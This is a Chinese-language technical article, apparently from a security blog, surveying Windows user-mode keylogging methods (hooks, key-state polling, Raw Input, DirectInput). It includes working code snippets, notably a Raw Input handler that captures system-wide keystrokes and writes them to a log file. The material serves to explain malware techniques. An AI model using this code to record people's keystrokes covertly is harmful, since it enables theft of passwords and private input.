预估稿费:80RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

0x00 前言

正如我们所知,键盘记录器是被恶意软件广泛使用的一种技术。本文是第一部分,我将列出一些Windows应用层常见的键盘记录的方式(不是全部)。

下面是本文提到的一些方法:

1. Windows钩子(SetWindowsHookEx)

2. Windows轮询(GetAsyncKeyState、GetKeyBoardState)

3. raw input

4. direct input

0x01 SetWindowsHookEx

这是最常见的技术。使用SetWindowsHookEx向Windows的消息钩子链中注册一个预定义的函数。有非常多的消息类型,其中两种用于键盘记录:

g_hHook = SetWindowsHookEx(m_bLowLevelKeyboard == true ? WH_KEYBOARD_LL : WH_KEYBOARD, m_bLowLevelKeyboard ? LowLevelKeyboardProc : KeyboardProc, g_hModule, m_ThreadId);

在回调函数中,我们将接收KeyboardProc的wParam中的虚拟键码和LowLevelKeyboardProc的KBDLLHOOKSTRUCT.vkCode(wParam指向KBDLLHOOKSTRUCT)。

如果m_ThreadId = 0,则消息钩子是全局消息钩子。针对全局消息钩子,你必须将回调函数置于dll中,并且需要编写2个dll来分别处理x86/x64进程。

针对底层键盘钩子,SetWindowsHookEx的HMod参数可以为NULL或者本进程加载的模块(我测试了user32,ntdll)。

WH_KEYBOARD_LL不需要dll中的回调函数,并且能适应x86/x64进程。

WH_KEYBOARD需要两个版本的dll,分别处理x86/x64。但是如果使用x86版本的全局消息钩子,所有的x64线程仍被标记为“hooked”,并且系统在钩子应用上下文执行钩子。类似的,如果是x64,所有的32位的进程将使用x64钩子应用的回调函数。这就是为什么安装钩子的线程必须要有一个消息循环。

0x02 GetAsuncKeyState

使用GetAsyncKeyState查询每个键的状态是一种经典的方法。这需要一个死循环来轮询键盘状态,这将导致CPU异常。

0x03 GetKeyboardState

和GetAsyncKeyState类似,GetKeyBoardState能一次得到所有的键的状态。不同的是当键盘消息从调用进程的消息队列中移除时,GetKeyBoardState只会改变状态。这意味着它不是全局钩子,除非我们使用AttachThreadInput函数来共享键盘状态。

0x04 Raw Input

微软原始输入介绍:

因此,使用原始输入,我们必须通过RegisterRawInputDevices()函数注册一个输入设备。在那之后,在消息循环中能通过WM_INPUT得到数据。下面是注册设备并获取数据的代码:

switch (message)

{

case WM_CREATE:

{

if (lParam)

{

CREATESTRUCT* lpCreateStruct = (CREATESTRUCT*)lParam;

if (lpCreateStruct->lpCreateParams)

::SetWindowLong(hWnd, GWL_USERDATA, reinterpret_cast(lpCreateStruct->lpCreateParams));

}

RAWINPUTDEVICE rid;

// register interest in raw data

rid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK; // ignore legacy messages and receive system wide keystrokes

rid.usUsagePage = 1;                            // raw keyboard data only

rid.usUsage = 6;

rid.hwndTarget = hWnd;

RegisterRawInputDevices(&rid, 1, sizeof(rid));

break;

}

case WM_INPUT:

{

UINT dwSize;

if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER)) == -1) {

break;

}

LPBYTE lpb = new BYTE[dwSize];

if (lpb == NULL) {

break;

}

if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize) {

delete[] lpb;

break;

}

PRAWINPUT raw = (PRAWINPUT)lpb;

UINT Event;

WCHAR szOutput[128];

CHAR keyChar;

StringCchPrintf(szOutput, STRSAFE_MAX_CCH, TEXT(" Kbd: make=%04x Flags:%04x Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x n"),

raw->data.keyboard.MakeCode,

raw->data.keyboard.Flags,

raw->data.keyboard.Reserved,

raw->data.keyboard.ExtraInformation,

raw->data.keyboard.Message,

raw->data.keyboard.VKey);

Event = raw->data.keyboard.Message;

keyChar = MapVirtualKeyA(raw->data.keyboard.VKey, MAPVK_VK_TO_CHAR);

delete[] lpb;           // free this now

// read key once on keydown event only

if (Event == WM_KEYDOWN)

{

if (keyChar>32)

{   // anything below spacebar other than backspace, tab or enter we skip

if ((keyChar != 8) && (keyChar != 9) && (keyChar != 13))

break;

}

if (keyChar>126)

// anything above ~ we skip

break;

// write to log file

CRawInputKeylog* lpCRawInputKeylog = reinterpret_cast(::GetWindowLong(hWnd, GWL_USERDATA));

if (lpCRawInputKeylog)

{

DWORD byteWritten = 0;

WriteFile(lpCRawInputKeylog->m_hFile, &keyChar, sizeof(keyChar), &byteWritten, NULL);

}

}

break;

}

}

0x05 Direct Input

最后一个方法是现实中比较少见的一种技术。直接输入是微软DrirectX库的一个函数,能被用来得到键盘的状态。

HRESULT hr;

hr = DirectInput8Create(g_hModule, DIRECTINPUT_VERSION, IID_IDirectInput8, (void **)&m_din, NULL);

hr = m_din->CreateDevice(GUID_SysKeyboard, &m_dinkbd, NULL);

hr = m_dinkbd->SetDataFormat(&c_dfDIKeyboard);

hr = m_dinkbd->SetCooperativeLevel(m_hWnd, DISCL_NONEXCLUSIVE | DISCL_BACKGROUND);

DirectInput8Create创建一个DirectX对应版本的DirectInput对象。我们能创建一个输入设备的类型的设备,然后设置我们想要的数据格式。以DISCL_NONEXCLUSIVE | DISCL_BACKGROUND为参数调用SetCooperativeLevel()能确保全局模式。

使用下面代码得到键盘状态:

BYTE keystate[256] = { 0 };

lpCDirectInputKeylog->m_dinkbd->Acquire();

lpCDirectInputKeylog->m_dinkbd->GetDeviceState(256, keystate);

GetDeviceState()返回256个键盘扫描码的状态。我们使用MapVirtualKey将扫描码转化为虚拟键。

UINT virKey = MapVirtualKeyA(i, MAPVK_VSC_TO_VK_EX);

0x06 总结

最终,我们总结下用户模式键盘记录技术:

0x07 参考

MSDN

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐